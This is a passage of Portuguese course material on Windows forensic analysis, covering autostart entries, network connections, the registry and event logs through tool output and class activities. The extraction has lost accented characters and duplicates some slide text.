D:\IR\xp> autorunsc Autoruns v8.61 - Autostart program viewer HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\StartupPrograms rdpclip RDP Clip Monitor Microsoft Corporation c:\windows\system32\rdpclip.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit C:\WINDOWS\system32\userinit.exe Userinit Logon Application Microsoft Corporation c:\windows\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SynTPLpr TouchPad Driver Helper Application Synaptics, Inc. c:\program files\synaptics\syntp\syntplpr.exe

D:\IR\xp> autorunsc8 Autoruns v8.61 - Autostart program viewer HKLM\System\CurrentControlSet\Control\Terminal Serv er\Wds\rdpwd\StartupPrograms rdpclip RDP Clip Monitor Microsoft Corporation c:\windows\system32\rdpclip.exe HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\W inlogon\Userinit C:\WINDOWS\system32\userinit.exe Userinit Logon Application Microsoft Corporation c:\windows\system32\userinit.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SynTPLpr TouchPad Driver Helper Application Synaptics, Inc. c:\program files\synaptics\syntp\syntplpr.exe

Alm desta chave de registro, existem muitas outras que permitem a inicializao automtica de processos. Por isso, podemos usar ferramentas como o autorunsc. exe para listar todas as possibilidades. Repare que ela lista diversas chaves de registro e arquivos de configurao que permitem a execuo automtica de programas. Esta a verso grfica da ferramenta anterior, que permite ligar ou desligar programas que esto iniciando automaticamente.

Anlise forense Sesso de aprendizagem 9

151

Servios em execuo

D:\IR\xp> schtasks TaskName Next Run Time ==================================== AppleSoftwareUpdate 09:42:00, 4/2/2008 MP Scheduled Scan 01:36:00, 30/1/2008

Status

Finalmente, a ltima forma que estudaremos de checar processos que podem ser executados automaticamente a verificao dos processos agendados. O agendamento de tarefas permite definir uma data e hora para a execuo de um programa. Para listar os agendamentos existentes, podemos usar a ferramenta schtasks.exe.

Concluses
Existem muitas informaes que devem ser coletadas em um sistema comprometido Vimos como coletar informaes bsicas sobre o sistema, e tambm como listar e identificar os processos em execuo na mquina As bibliotecas carregadas pelos processos e os arquivos abertos so importantes fontes de informao para auxiliar a investigao A execuo automtica de programas uma informao que tambm deve ser coletada

Concluses
Na prxima sesso vamos conhecer as ferramentas que podem ser usadas para coletar informaes sobre conexes de rede, alm de conhecer mais sobre algumas caractersticas de sistemas Windows, como arquivos em Alternate Data Streams, logs de eventos e o registro do sistema, alm de ferramentas para investigar histricos de navegao na internet e de recuperao de senhas.

Anlise forense avanada em Windows

Escola Superior de Redes RNP

152

Anlise forense Sesso de aprendizagem 9

9
Sesso de aprendizagem 9 Anlise forense avanada em Windows Roteiro de atividades
Tpicos e conceitos
\\Identificar

os processos e servios de uma estao Windows.

Competncias tcnicas desenvolvidas


\\O

aluno aprender a descobrir informaes sobre o sistema Windows e identificar processos.

Outras competncias desenvolvidas


\\Capacidade

de investigao e pesquisa do aluno.

Tempo previsto para as atividades


\\90

minutos

Escola Superior de Redes RNP

154

Atividade 1 Levantando informaes do sistema


Execute em sua estao os comandos, informaes bsicas do sistema, processos em execuo e bibliotecas utilizadas, fazendo um relatrio do que encontrar. Existem usurios suspeitos no sistema? H compartilhamento de disco? Dos processos e bibliotecas encontrados, liste aqueles que voc no soube identificar para que servem.

Atividade 2 Identificando processos comprometidos


1. Procure na internet mais informaes sobre os processos listados acima como desconhecidos. Alm disso, pesquise os processos em execuo que podem ser confundidos com programas maliciosos. Exemplo: o processo svchost.exe pode ser confundido com diversos vrus; encontre informaes na internet que confirmem essa informao. Relate no somente o site onde achou a informao, mas exemplos de programas maliciosos que podem ser confundidos com os processos do sistema. Pesquise os servios instalados em sua estao. Faa um relatrio sobre todos os programas auto-executveis, procurando na internet informaes sobre eles, assim como foi feito no exerccio anterior.

2.

Atividade 3 Novas ferramentas


Use o tempo restante para procurar na internet novas ferramentas que podem ser utilizadas para conseguir outras informaes alm das que vimos nesta sesso. Faa um relatrio dos sites que encontrar, com uma breve descrio das ferramentas.

Anlise forense Sesso de aprendizagem 9

10
Sesso de aprendizagem 10 Anlise forense avanada em Windows (parte 2)
Sumrio da sesso
Coleta de informaes de redes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 156 Coleta de informaes em registros do Windows . . . . . . . . . . . . . . . . . . . . . . 160 Coleta de registros de eventos (logs) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 164 Anlise de contedo do Recycle.Bin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 167 Anlise de contedo do Clipboard . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 Anlise de contedo de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 168 Recuperao de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 170 Anlise do histrico de navegao . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 172 Recuperao de senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 174 Concluses . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 175 Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 177 Atividade 1 Coleta de informaes de redes . . . . . . . . . . . . . . . . . . . . . . . . 178 Atividade 2 Coleta de informaes em registros do Windows . . . . . . . . . . . . 178 Atividade 3 Anlise de contedo do Recycle.Bin . . . . . . . . . . . . . . . . . . . . . . 178 Atividade 4 Recuperao de dados ocultos ADS . . . . . . . . . . . . . . . . . . . . . 178 Atividade 5 Anlise do histrico de navegao . . . . . . . . . . . . . . . . . . . . . . . 178 Atividade 6 Recuperao de senhas . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 179

Escola Superior de Redes RNP

156

Coleta de informaes de redes


Conexes de rede
So evidncias volteis Podem dar pistas sobre a origem dos invasores Podem dar dicas sobre possveis vazamentos de informao ou mau uso do sistema

Coleta de informaes de redes


importante notar as informaes sobre as configuraes de IP de todas as interfaces de rede, incluindo aquelas que forem interfaces wireless. Alm disso, importante notar se a mquina possui um IP configurado estaticamente ou se usa DHCP para se auto-configurar. Por fim, tambm necessrio anotar todos os endereos MAC das placas instaladas no computador, para correlacionar posteriormente estas informaes com logs externos.
D:\IR\xp> ipconfig /all8 Windows IP Configuration Host Name . . . . . . . . . . . : Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . : IP Routing Enabled. . . . . . . : WINS Proxy Enabled. . . . . . . : DNS Suffix Search List. . . . . .: Ethernet adapter Wireless Network Connection-specific DNS Suffix . : Description . . . . . . . . . . : b/g WLAN Physical Address. . . . . . . . : Dhcp Enabled. . . . . . . . . . : Autoconfiguration Enabled . . . .: IP Address. . . . . . . . . . . : Subnet Mask . . . . . . . . . . : Default Gateway . . . . . . . . . DHCP Server . . . . . . . . . . . DNS Servers . . . . . . . . . . . COMPUTADOR Hybrid No No provedor.com.br Connection 2: provedor.com.br Broadcom 802.11

Existem dois tipos de informao importantes de coletar:


Conexes ativas, ou seja, aquelas que esto acontecendo no momento atual Portas abertas, ou os servios que a mquina est oferecendo publicamente

O investigador deve comparar a sada de diversos comandos diferentes, pois os rootkits costumam esconder informaes sobre conexes de redes e portas abertas.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> ipconfig /all
Windows IP Configuration Host Name . . . . . . . . . . . . : COMPUTADOR Primary Dns Suffix . . . . . . . : Node Type . . . . . . . . . . . . : Hybrid IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : provedor.com.br Ethernet adapter Wireless Network Connection 2: Connection-specific DNS Suffix . : provedor.com.br Description . . . . . . . . . . . : Broadcom 802.11b/g WLAN Physical Address. . . . . . . . . : 00-90-4B-EA-0F-F3 Dhcp Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes IP Address. . . . . . . . . . . . : 192.168.0.194 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.0.1 DHCP Server . . . . . . . . . . . : 192.168.0.1 DNS Servers . . . . . . . . . . . : 192.168.0.10 192.168.0.1 Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008 16:42:06 Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de 2008 16:42:06

00-90-4B-EA-0F-F3 Yes Yes 192.168.0.194 255.255.255.0 : 192.168.0.1 : 192.168.0.1 : 192.168.0.10 192.168.0.1 Lease Obtained. . . . . . . . . . : quarta-feira, 30 de janeiro de 2008 16:42:06 Lease Expires . . . . . . . . . . : quarta-feira, 6 de fevereiro de 2008 16:42:06 D:\IR\xp> iplist8 DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au) # ADDRESS BROADCAST NETMASK -1040144192 192.168.0.194 255.255.255.255 255.2 55.255.0 16777343 127.0.0.1 255.255.255.255 255.0 .0.0 19900608 192.168.47.1 255.255.255.255 255.2 55.255.0 3 interfaces found.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> iplist DiamondCS IP Enumerator v1.0 (www.diamondcs.com.au) # ADDRESS BROADCAST NETMASK -1040144192 192.168.0.194 255.255.255.255 255.255.255.0 16777343 127.0.0.1 255.255.255.255 255.0.0.0 19900608 192.168.47.1 255.255.255.255 255.255.255.0 3 interfaces found.

A ferramenta IPLIST, presente no kit, permite listar apenas as configuraes de IP para as interfaces configuradas no sistema.

Anlise forense Sesso de aprendizagem 10

157

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> netstat -na Active Connections Proto Local Address TCP 0.0.0.0:135 TCP 0.0.0.0:445 TCP 127.0.0.1:1096 TCP 127.0.0.1:1097 TCP 127.0.0.1:12025 TCP 192.168.0.194:2355 TCP 192.168.0.194:2395 UDP 0.0.0.0:445 UDP 0.0.0.0:500 ... Foreign Address 0.0.0.0:0 0.0.0.0:0 127.0.0.1:1097 127.0.0.1:1096 0.0.0.0:0 64.233.171.104:80 66.249.83.19:443 *:* *:* State LISTENING LISTENING ESTABLISHED ESTABLISHED LISTENING LAST_ACK CLOSE_WAIT

D:\IR\xp> netstat na8

Podemos ver no slide algumas conexes estabelecidas e outras que foram fechadas, embora ainda no tenham ultrapassado o tempo de tcp timeout. Esta uma caracterstica das conexes TCP, que pode ser til para capturar tambm conexes que j foram fechadas. Verificamos tambm no slide alguns servios oferecidos pelo protocolo UDP.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> netstat -nbv Active Connections TCP 127.0.0.1:1097 127.0.0.1:1096 2512 C:\WINDOWS\system32\mswsock.dll C:\WINDOWS\system32\WS2_32.dll C:\Program Files\Mozilla Firefox\nspr4.dll C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll -- unknown component(s) -[firefox.exe] ... ESTABLISHED

D:\IR\xp> netstat -nbv8 Active Connections TCP 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 2512 C:\WINDOWS\system32\mswsock.dll C:\WINDOWS\system32\WS2_32.dll C:\Program Files\Mozilla Firefox\nspr4.dll C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\xpcom_core.dll -- unknown component(s) -[firefox.exe] ...

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> openports
DiamondCS OpenPorts v1.0 (-? SYSTEM [4] TCP 0.0.0.0:445 UDP 192.168.47.1:138 UDP 0.0.0.0:445 UDP 192.168.0.194:1900 TCP 192.168.0.194:1074 UDP 192.168.0.194:46759 UDP 127.0.0.1:2617 TCP 127.0.0.1:1101 TCP 127.0.0.1:1102 TCP 192.168.0.194:2670 TCP 127.0.0.1:1097 TCP 127.0.0.1:1096 TCP 192.168.0.194:2668 for help) 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 207.46.109.93:1863 0.0.0.0:0 0.0.0.0:0 127.0.0.1:1102 127.0.0.1:1101 66.249.83.83:443 127.0.0.1:1096 127.0.0.1:1097 66.249.83.19:443 LISTENING LISTENING LISTENING svchost.exe [380] LISTENING MsnMsgr.Exe [884] ESTABLISHED LISTENING wmplayer.exe [984] LISTENING lsass.exe [1144] ESTABLISHED ESTABLISHED CLOSE_WAIT ESTABLISHED ESTABLISHED ESTABLISHED

Outra forma de usar o comando netstat.exe permite que sejam listados os processos associados a cada conexo, informao importante que difere da verso Unix do comando. Esta verso do netstat.exe permite listar toda a pilha de processos que esto associadas a uma conexo. Normalmente, somente o processo que abriu a conexo listado. Podemos ver entre colchetes, no fim da listagem, o nome do processo que solicitou a criao da conexo, mas tambm podemos ver acima toda a pilha de processos utilizada para criar a conexo, at chegar na pilha TCP/IP.

Esta uma informao importante, pois permite detectar a presena de processos estranhos que estejam interceptando a criao de conexes e, com isso, capazes de capturar informaes confidenciais.

D:\IR\xp> openports8 DiamondCS OpenPorts v1.0 (-? for help) SYSTEM [4] TCP 0.0.0.0:445 0.0.0.0:0

LISTENING

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP


UDP UDP UDP TCP UDP UDP TCP TCP TCP TCP TCP TCP 192.168.47.1:138 0.0.0.0:0 LISTENING 0.0.0.0:445 0.0.0.0:0 LISTENING svchost.exe [380] 192.168.0.194:1900 0.0.0.0:0 LISTENING MsnMsgr.Exe [884] 192.168.0.194:1074 207.46.109.93:1863 ESTABLISHED 192.168.0.194:46759 0.0.0.0:0 LISTENING wmplayer.exe [984] 127.0.0.1:2617 0.0.0.0:0 LISTENING lsass.exe [1144] 127.0.0.1:1101 127.0.0.1:1102 ESTABLISHED 127.0.0.1:1102 127.0.0.1:1101 ESTABLISHED 192.168.0.194:2670 66.249.83.83:443 CLOSE_WAIT 127.0.0.1:1097 127.0.0.1:1096 ESTABLISHED 127.0.0.1:1096 127.0.0.1:1097 ESTABLISHED 192.168.0.194:2668 66.249.83.19:443 ESTABLISHED

158

Vemos novamente os processos associados s portas abertas, mas este comando no faz o mapeamento completo de portas para processos.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> fport FPort v2.0 - TCP/IP Process to Pid Process Port 1364 -> 135 4 System -> 139 4 System -> 445 2156 -> 1025 884 MsnMsgr -> 1074 Messenger\MsnMsgr.Exe 2512 firefox -> 1096 Firefox\firefox.exe 2512 firefox -> 1097 Firefox\firefox.exe 2512 firefox -> 1101 Firefox\firefox.exe ... Port Mapper Proto Path TCP TCP TCP TCP TCP C:\Program Files\MSN TCP TCP TCP C:\Program Files\Mozilla C:\Program Files\Mozilla C:\Program Files\Mozilla

D:\IR\xp> fport8 FPort v2.0 - TCP/IP Process Pid Process Port 1364 -> 135 4 System -> 139 4 System -> 445 2156 -> 1025 884 MsnMsgr -> 1074 \MSN Messenger\MsnMsgr.Exe 2512 firefox -> 1096 \Mozilla Firefox\firefox.exe 2512 firefox -> 1097 \Mozilla Firefox\firefox.exe 2512 firefox -> 1101 \Mozilla Firefox\firefox.exe ... to Port Mapper Proto Path TCP TCP TCP TCP TCP C:\Program Files TCP TCP TCP C:\Program Files C:\Program Files C:\Program Files

Temos agora informaes sobre conexes de rede abertas e servios oferecidos pela mquina. Dependendo do incidente, estas informaes podem comprovar ou auxiliar na identificao dos responsveis.

Anlise forense Sesso de aprendizagem 10

159

Alm das ferramentas de comando de linha estudadas, ainda existem duas ferramentas com interface grfica que podem ser utilizadas para coletar informaes sobre conexes de rede. Uma delas j foi vista na sesso passada: trata-se da ferramenta procexp.exe. Ela permite visualizar propriedades sobre um processo em execuo; entre estas propriedades esto as conexes de rede utilizadas pelo processo. Outra ferramenta que tambm permite visualizar este tipo de informao chamada cports.exe. Ela contm muitas informaes interessantes sobre os processos que esto mantendo conexes abertas. Execute a ferramenta em sua estao e examine as colunas de informao para cada processo.

Coleta de informaes de redes


Conexes de rede
D:\IR\xp> promiscdetect Adapter name: - Broadcom 802.11b/g WLAN Active filter for the adapter: - Directed (capture packets directed to this computer) - Multicast (capture multicast packets for groups the computer is a member of) - Broadcast (capture broadcast packets) - Promiscuous (capture all packets on the network) WARNING: Since this adapter is in promiscuous mode there could be a sniffer running on this computer! Adapter name: - Realtek RTL8139/810x Family Fast Ethernet NIC Active filter for the adapter: - Directed (capture packets directed to this computer) - Multicast (capture multicast packets for groups the computer is a member of) - Broadcast (capture broadcast packets)

D:\IR\xp> promiscdetect8 Adapter name: - Broadcom 802.11b/g WLAN Active filter for the adapter: - Directed (capture packets directed to this comput er) - Multicast (capture multicast packets for groups t he computer is a member of) - Broadcast (capture broadcast packets) - Promiscuous (capture all packets on the network) WARNING: Since this adapter is in promiscuous mode there could be a sniffer running on this computer! Adapter name: - Realtek RTL8139/810x Family Fast Ethernet NIC Active filter for the adapter: - Directed (capture packets directed to this compu ter) - Multicast (capture multicast packets for groups the computer is a member of) - Broadcast (capture broadcast packets)

Uma informao que pode ser uma indicao forte de que a mquina foi comprometida o fato de alguma de suas interfaces de rede estar funcionando em modo promscuo. Este tipo de funcionamento faz com que o driver de rede associado interface capture todos os pacotes que passem pela rede, mesmo aqueles que no so direcionados prpria mquina. Com isso, possvel monitorar todo o trfego de rede, coletando informaes confidenciais como senhas e logins, entre outras. Para detectar a presena de alguma interface de rede em modo promscuo, existe uma ferramenta no kit chamada promiscdetect.exe. Vemos no slide que uma das interfaces est configurada para funcionar em modo promscuo, e com isso capturar todos os pacotes que passam pela rede, o que pode ser indicativo da presena de um sniffer, e quase certamente do comprometimento da mquina.

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

160

Coleta de informaes em registros do Windows


Registro do Windows Uma das caractersticas que diferenciam a coleta de evidncias em Linux e Windows Base hierrquica e centralizada de dados utilizada pelo Windows para armazenar informaes necessrias para a configurao do sistema (para um ou mais usurios), aplicaes e dispositivos de hardware O registro um arquivo binrio de dados Para poder acessar os dados neste arquivo, devemos exportar o registro em formato de texto ou utilizar ferramentas que permitam realizar consultas no registro A ferramenta mais utilizada o regedit.exe da prpria Microsoft

Coleta de informaes em registros do Windows


Os arquivos de registro em um sistema Windows XP esto localizados em C:\windows\system32\config. Estes arquivos no podem ser copiados normalmente. Para isso devemos utilizar uma ferramenta. A utilizao da ferramenta regedit.exe faz com que os dados presentes nos arquivos SAM e SECURITY no fiquem visveis. Existe um arquivo adicional de registro chamado NTUSER.DAT, localizado no diretrio do usurio, em C:\ Documents and Settings\, que possui todas as configuraes pessoais do usurio.

Coleta de informaes em registros do Windows


Registro do Windows Localizado em C:\windows\system32\config
Registro DEFAULT SAM SECURITY SOFTWARE Funo Armazena todas as informaes originais do usurio. Armazena informaes do servio Security Accounts Manager. Armazena informaes de segurana. Armazena informaes sobre os aplicativos e operao. Armazenas informaes sobre o hardware da mquina.

Registros e respectivas funes:


\\DEFAULT

Armazena todas as informaes originais do usurio.

\\SAM

Armazena informaes do servio Security Accounts Manager. Armazena informaes de segurana. Armazena informaes sobre os aplicativos e operao. Armazenas informaes sobre o hardware da mquina.

\\SECURITY

SYSTEM

\\SOFTWARE

\\SYSTEM

Coleta de informaes em registros do Windows


Chaves de registro HKEY_CURRENT_USER HKEY_USERS HKEY_LOCAL_MACHINE HKEY_CLASSES_ROOT HKEY_CURRENT_CONFIG

Conforme mencionamos, o registro do Windows uma base de dados hierrquica composta de chaves (keys) e valores (values). No campo de valores est representada a informao armazenada no registro. O campo de valores pode possuir os seguintes formatos: string, binary e DWORD.
HKEY_CURRENT_USER

Contm as informaes de configurao do usurio.


HKEY_USERS

Contm o perfil dos usurios do computador.


HKEY_LOCAL_MACHINE

Contm as informaes especficas do computador relacionadas com hardware e software.

Anlise forense Sesso de aprendizagem 10

161

HKEY_CLASSES_ROOT

Contm informaes sobre as associaes de arquivos.


HKEY_CURRENT_CONFIG

Contm as informaes do perfil do hardware do computador. As chaves do registro podem ter seu nome abreviado, o que facilita a execuo de uma busca pelo comando de linha:
HKEY_LOCAL_MACHINE: HKLM HKEY_CLASSES_ROOT: HKCR HKEY_CURRENT_USER: HKCU HKEY_USERS: HKU HKEY_CURRENT_CONFIG: HKCC \\REG_BINARY

Coleta de informaes em registros do Windows


REG_BINARY REG_DWORD REG_EXPAND_SZ REG_MULTI_SZ REG_SZ REG_RESOURCE_LIST Dados binrios no-processados. Dados representados por um nmero de 4 bytes. Seqncia de dados com extenso varivel. Uma seqncia mltipla. Seqncia de texto com extenso fixa. Srie de matrizes para armazenar lista de recursos usada por driver de dispositivo de hardware ou pelos dispositivos fsicos controlados por ele. Srie de matrizes para armazenar lista de drivers de dispositivo de hardware. Srie de matrizes para armazenar lista de drivers de dispositivo de hardware. Dados sem um tipo especfico. Uma seqncia Unicode que nomeia um link simblico. Dados representados por um nmero que seja um inteiro de 64 bytes.

Dados binrios no-processados. Grande parte das informaes do componente de hardware armazenada como dado binrio e exibida em formato hexadecimal no Editor do Registro. Dados representados por um nmero de 4 bytes. Muitos parmetros para drivers e servios de dispositivos apresentam esse tipo e so exibidos no Editor do Registro em formato binrio, hexadecimal ou decimal. Seqncia de dados com extenso varivel. Esses tipos de dados incluem variveis que so resolvidas quando um programa ou servio usa os dados.

\\REG_DWORD

REG_RESOURCE_REQUIREMENTS_LIST REG_FULL_RESOURCE_DESCRIPTOR REG_NONE REG_LINK REG_QWORD

\\REG_EXPAND_SZ

\\REG_MULTI_SZ

Seqncia mltipla. Valores que contm listas ou valores mltiplos em um formato que as pessoas conseguem ler so geralmente deste tipo. As entradas so separadas por espaos, vrgulas ou outras pontuaes. Seqncia de texto com extenso fixa.

\\REG_SZ

\\REG_RESOURCE_LIST

Srie de matrizes para armazenar lista de recursos usada por driver de dispositivo de hardware ou pelos dispositivos fsicos controlados por ele. Esses dados so detectados e gravados pelo sistema na rvore \ResourceMap e exibidos no Editor do Registro em formato hexadecimal como valores binrios. Srie de matrizes criadas para armazenar uma lista de drivers de dispositivos de possveis recursos de hardware que o driver ou um dos dispositivos fsicos que ele controla possam usar. O sistema grava um subconjunto desta lista na rvore \ResourceMap. Estes dados so detectados pelo sistema e exibidos no Editor do Registro em formato hexadecimal como valores binrios.

\\REG_RESOURCE_REQUIREMENTS_LIST

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP


\\REG_FULL_RESOURCE_DESCRIPTOR

162

Srie de matrizes para armazenar lista de drivers de dispositivo de hardware. Tambm projetadas para armazenar uma lista de recursos usada por um dispositivo fsico de hardware. Esses dados so detectados e gravados pelo sistema na rvore \ HardwareDescription e exibidos no Editor do Registro em formato hexadecimal como valores binrios.

\\REG_NONE

Dados sem um tipo especfico, gravados pelo sistema ou pelos aplicativos no registro e exibidos no Editor do Registro em formato hexadecimal como valores binrios. Dados representados por um nmero que seja um inteiro de 64 bits, exibidos no Editor do Registro como valores binrios. Foram introduzidos pela primeira vez no Windows 2000. Cpia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt8 D:\IR\xp> reg query HKCU\Software /s > d:\tmp\regis try_HKCU.txt8

\\REG_QWORD

Coleta de informaes em registros do Windows


Cpia do registro:
D:\IR\xp> regdmp > d:\tmp\registry.txt D:\IR\xp> reg query HKCU\Software /s > d:\tmp\registry_HKCU.txt

Principais buscas nos registros:


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedURLs HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU\*

Principais buscas nos registros:


HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\RunServices HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curre ntVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\RunOnce HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\RunServicesOnce HKEY_CURRENT_USER\Software\Microsoft\Internet Explo rer\TypedURLs HKEY_CURRENT_USER\Software\Microsoft\Windows\Curren tVersion\Explorer\RunMRU HKCU\Software\Microsoft\Windows\CurrentVersion\Expl orer\ComDlg32\OpenSaveMRU\*

Para realizar uma cpia em formato de texto do registro do Windows podemos utilizar a ferramenta regdmp.exe. necessrio direcionar a sada do comando para um arquivo. O arquivo gerado nos permite realizar uma srie de buscas em chaves consideradas importantes para o processo de coleta de informaes. Podemos realizar consultas a chaves especficas ou a um diretrio inteiro dentro do registro.

Anlise forense Sesso de aprendizagem 10

163

Podemos ver que a ferramenta permite realizar pesquisas por texto ou por uma faixa de datas de modificao de alguma das chaves. interessante para achar modificaes recentes no registro, causadas por algum vrus ou ferramenta de rootkit.

Uma forma adicional de realizar a cpia do registro utilizando o aplicativo dumpreg.exe. Esta ferramenta permite realizar a cpia das seguintes chaves de registro:
\\HKEY_LOCAL_MACHINE \\HKEY_USERS \\HKEY_CURRENT_USER

Anlise forense avanada em Windows (parte 2)

Escola Superior de Redes RNP

164

Uma funcionalidade permite navegar nos dados ordenados por tempo, o que possibilita verificar mais facilmente em um determinado momento as chaves que foram modificadas.

Coleta de registros de eventos (logs)


EventLogs: arquivos de log do Windows Application Security
Contm os registros de segurana relacionados com tentativas de acesso ao terminal do sistema e violao de privilgios.

Coleta de registros de eventos (logs)


O sistema Windows possui uma srie de registros de eventos, que diferentemente do Linux so gravados em formato binrio e, portanto, necessitam de ferramentas especiais para acessar seu contedo. Alm dos arquivos de log acima citados podem existir ainda outros trs:
\\Directory

Contm os registros enviados por programas e aplicativos.

System
Contm os registros relacionados com o sistema e hardware; se um servio no for inicializado corretamente ser gerado um alerta.

Service Log (quando o sistema for um controlador de domnio) Replication Service Log (quando o sistema for um controlador de domnio) Server Log (quando o sistema for um servidor de DNS)

\\File

\\DNS

Outros processos do sistema podem criar arquivos de logs especficos, tal como ferramentas de antivrus ou firewall.

Coleta de registros de eventos (logs)


EventLogs: arquivos de log do Windows
Da mesma forma que os arquivos de registro, os arquivos de log esto armazenados no diretrio c:\windows\system32\config e possuem a terminao .evt .
D:\IR\xp> dir c:\windows\system32\config\*.evt Directory of c:\windows\system32\config 06/01/2008 14:42 65.536 Antiviru.evt 29/01/2008 05:11 65.536 Antivirus.Evt 29/01/2008 05:11 524.288 AppEvent.Evt 24/10/2006 19:23 65.536 Internet.evt 29/01/2008 05:11 524.288 SecEvent.Evt 29/01/2008 05:11 524.288 SysEvent.Evt

D:\IR\xp> dir c:\windows\system32\config\*.evt8 Directory of c:\windows\system32\config 06/01/2008 14:42 65.536 Antiviru.evt 29/01/2008 05:11 65.536 Antivirus.Evt 29/01/2008 05:11 524.288 AppEvent.Evt 24/10/2006 19:23 65.536 Internet.evt 29/01/2008 05:11 524.288 SecEvent.Evt 29/01/2008 05:11 524.288 SysEvent.Evt

Anlise forense Sesso de aprendizagem 10

165

Coleta de registros de eventos (logs)


Registro de eventos
D:\IR\xp> psloglist System log on \\COMPUTADOR: [494907] WinDefend Type: INFORMATION Computer: COMPUTADOR Time: 30/1/2008 20:03:49 ID: 2000 Windows Defender signature version has been updated. Current Signature Version: 1.24.6025.0 Previous Signature Version: 1.24.5865.0 Update Source: User Signature Type: AntiSpyware Update Type: Delta User: COMPUTADOR\Usuario Current Engine Version: 1.1.3109.0 Previous Engine Version: 1.1.3109.0

Registro de eventos:
D:\IR\xp> psloglist8 System log on \\COMPUTADOR: [494907] WinDefend Type: INFORMATION Computer: COMPUTADOR Time: 30/1/2008 20:03:49 ID: 2000 Windows Defender signature version has been updated. Current Signature Version: 1.24.6025.0 Previous Signature Version: 1.24.5865.0 Update Source: User Signature Type: AntiSpyware Update Type: Delta User: COMPUTADOR\Usuario Current Engine Version: 1.1.3109.0 Previous Engine Version: 1.1.3109.0

Podemos verificar que os registros de evento em um sistema Windows so bem diferentes dos logs que costumamos ver em um sistema Linux. Mesmo assim eles so importantes fontes de informao sobre os acontecimentos no sistema. Devido ao fato de serem arquivos binrios, so muito mais difceis de modificar pelos invasores que tentam esconder suas atividades.

Coleta de registros de eventos (logs)


Registro de eventos
D:\IR\xp> ..\2k\res_kit\dumpel /? DUMPEL Usage: dumpel -f file [-s \\server] [-l log [-m source]] [-e n1 n2 n3..] [-r] [-t] [dx] -d <days> Filters for event last days (number larger than zero) -e nn Filters for event id nn (up to 10 may be specified) -f <filename> Output filename (default stdout) -l <name> Dumps the specified log (system, application, security) -b Dumps a backup file (use -l to specify file name) -m <name> Filters for events logged by name -r Filters out events logged by name (must use -m too) -s <servername> Remote to servername -t Use tab to separate strings (default is space) -c Use comma to separate fields -ns Do not output strings -format <fmt> Specify output format.

